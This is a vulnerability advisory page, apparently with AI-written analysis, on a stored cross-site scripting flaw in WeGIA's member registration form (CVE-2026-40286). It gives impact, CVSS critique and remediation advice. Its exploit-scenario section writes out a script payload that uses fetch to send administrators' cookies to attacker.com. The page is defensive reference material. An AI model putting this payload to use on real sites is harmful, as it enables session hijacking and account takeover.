Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAccess member registration page
-
DeliverySubmit crafted member record with XSS payload in name field
-
ExploitPayload stored in database
-
ExecutionAdministrator views member list
-
PersistMalicious script executes in admin session
-
ImpactExfiltrate session tokens or perform unauthorized actions
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires the WeGIA instance to expose the 'Cadastrar Sócio' (Member Registration) function to unauthenticated users, which appears to be the default configuration based on the CVSS vector PR:N (no privileges required). Exploitation occurs when any authenticated user (typically administrators or staff) navigates to pages displaying member records where the malicious payload was stored. The vulnerability does NOT require the attacker to be authenticated to inject the payload, but DOES require victim users to view the poisoned data through the web interface. Limiting factor: organizations that have already restricted member registration to authenticated users only would require the attacker to first obtain valid credentials, significantly reducing the attack surface. |
| Impact | The CVSS 7.5 HIGH score reflects significant integrity impact (I:H) with network-based exploitation requiring no authentication (AV:N/PR:N/UI:N). However, this scoring contains an apparent inconsistency: UI:N (no user interaction) is atypical for XSS vulnerabilities, which inherently require a victim to view the malicious content. The attack vector should likely be UI:R (requires user interaction to view the member record). Real-world risk is moderate-to-high for organizations using WeGIA, as the unauthenticated registration capability combined with stored XSS enables drive-by attacks against administrators reviewing member data. EPSS data not provided, preventing probabilistic exploitation assessment. Not present in CISA KEV, suggesting no confirmed widespread exploitation. The straightforward nature of stored XSS exploitation (AC:L) and availability of a patch in version 3.6.10 make this a clear remediation priority for WeGIA deployments, particularly those exposing member registration to untrusted users. Organizations should verify whether their deployment allows unauthenticated member registration, as this significantly elevates exploitability. |
| Exploit ScenarioDerived | An attacker submits a member registration with the name field containing '<script>fetch('https://attacker.com/?cookie='+document.cookie)</script>'. When an administrator accesses the member management interface to review pending registrations or member lists, the script executes in their browser session, exfiltrating authentication cookies to the attacker's server. The attacker then uses the stolen session to access administrative functions, modify records, or deploy additional payloads. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 17, 2026
Stored Cross-Site Scripting in WeGIA 'Member Registration' function allows remote attackers to inject malicious JavaScript through the 'Member Name' field, achieving persistent code execution in victim browsers without authentication. The payload executes whenever users navigate to affected pages, enabling session hijacking, credential theft, or administrative action execution. Version 3.6.10 provides a vendor-released patch. No public exploit identified at time of analysis, though exploitation is straightforward given the unauthenticated attack vector (CVSS AV:N/PR:N).
RemediationAI
Upgrade to WeGIA version 3.6.10 or later, which contains input validation and output encoding fixes for the Member Name field. The patch is available through the official GitHub repository at https://github.com/LabRedesCefetRJ/WeGIA. If immediate patching is not feasible, implement compensating controls: (1) restrict access to the member registration function to authenticated, trusted users only via web server access controls or application-level permissions - this prevents anonymous attackers from injecting payloads but limits legitimate registration workflows; (2) deploy a Web Application Firewall (WAF) with XSS signature detection to filter script tags in POST requests to registration endpoints - note this is bypassable with encoding techniques and adds latency; (3) implement Content Security Policy (CSP) headers with 'script-src self' to prevent inline JavaScript execution - this may break existing legitimate inline scripts requiring code refactoring. Verify the fix post-upgrade by testing script injection in the Member Name field and confirming proper HTML entity encoding in rendered output.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
WeGIA (Web Manager for Charitable Institutions) is a PHP-based web application developed by LabRedesCefetRJ for managing non-profit organizations. The vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation), where user-supplied input in the 'Nome Sócio' (Member Name) database field is not sanitized before storage or output encoding before rendering. This allows JavaScript payloads to persist in the application's database and execute in the context of any user's browser session when viewing member records. The affected component is cpe:2.3:a:labredescefetrj:wegia versions prior to 3.6.10. Unlike reflected XSS, stored XSS persists across sessions and affects all users who view the poisoned data, making it particularly dangerous in multi-user administrative interfaces.
Know when Wegia gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Primary rating from Vendor (GitHub_M) · only source for this CVE.
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
3DescriptionCVE.org
WeGIA is a web manager for charitable institutions. In versions prior to 3.6.10, a Stored Cross-Site Scripting (XSS) vulnerability was identified in the 'Member Registration' (Cadastrar Sócio) function. By injecting a payload into the 'Member Name' (Nome Sócio) field, the script is persistently stored in the database. Consequently, the payload is executed whenever a user navigates to certain URL. Version 3.6.10 fixes the issue.
Executive ViewAI
CVE-2026-40286 is a stored cross-site scripting vulnerability in WeGIA's member registration function that allows unauthenticated attackers to inject persistent malicious code affecting all users who view compromised pages. This enables credential theft, session hijacking, and unauthorized administrative actions, posing direct risk to user accounts and system integrity across the application.
Vendor-released patch: WeGIA version 3.6.10. If immediate patching is not feasible, implement strict input validation on the 'Member Name' field (whitelist alphanumeric and safe characters only); apply web application firewall rules to detect and block script injection patterns; disable or restrict member registration functionality until patch deployment; monitor session activity for indicators of credential compromise.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Critical OS Command Injection vulnerability in WeGIA (a web management system for charitable institutions) versions prio
WeGIA is a Web manager for charitable institutions. Rated critical severity (CVSS 10.0), this vulnerability is remotely
WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity
WeGIA is an open source web manager with a focus on the Portuguese language and charitable institutions. Rated critical
WeGIA is a Web manager for charitable institutions. Rated critical severity (CVSS 10.0), this vulnerability is remotely
WeGIA is a web manager for charitable institutions. Rated critical severity (CVSS 10.0), this vulnerability is remotely
WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity
WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity
WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity
WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity
WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity
WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity
EUVD-2026-23531
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB